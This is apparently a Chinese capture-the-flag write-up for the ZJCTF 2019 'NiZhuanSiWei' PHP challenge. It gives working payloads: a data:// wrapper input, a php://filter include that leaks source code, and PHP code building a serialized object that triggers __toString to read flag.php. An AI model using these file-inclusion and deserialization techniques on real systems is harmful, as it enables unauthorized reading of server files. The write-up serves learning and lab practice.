[ZJCTF 2019]NiZhuanSiWei

关键点:

(1)file_get_contents($text,'r')

(2)include($file)

(3)$password = unserialize($password);
echo $password;

1.变量如何变成文件输出

text=data://text/plaint,welcome to the zjctf

  1. include($file)文件包含

file=php://filter/convert.base64-encode/resource=useless.php

3.反序列化

源码

php 复制代码
<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

构造

php 复制代码
<?php
class Flag{  
     public $file='flag.php';
}
$a=new Flag;
echo serialize($a) ;
?>

上面的源码有echo $password,会触发__toString()。

相关推荐
NewCarRen4 小时前
安全碰撞测试:汽车车载IT组件的实际安全评估
网络·网络安全
运筹vivo@5 小时前
攻防世界:get_post
web安全
23zhgjx-hyh5 小时前
【项目四:网络攻击分析】
网络·安全·web安全
汤愈韬5 小时前
防火墙双机热备01(主备模式)
网络·网络协议·网络安全·security·huawei
NewCarRen5 小时前
汽车安全威胁分析与风险评估技术及缓解方法
网络·安全·web安全
Whoami!5 小时前
❿⁄₁₀ ⟦ OSCP ⬖ 研记 ⟧ 密码攻击实践 ➱ 获取并破解NTLM哈希
网络安全·信息安全·密码破解·mimikatz·ntlm哈希
半路_出家ren6 小时前
20.基于Selenium实现界面自动化控制
运维·python·selenium·测试工具·网络安全·自动化·chromedriver
计算机毕业设计指导6 小时前
恶意网址检测系统
python·web安全·网络安全·系统安全
独立开发者阿乐6 小时前
Vue3中Markdown解析与渲染的完整解决方案:从安全到性能优化
web安全·性能优化·vue3·前端开发·语法高亮·markdown解析·markdown-it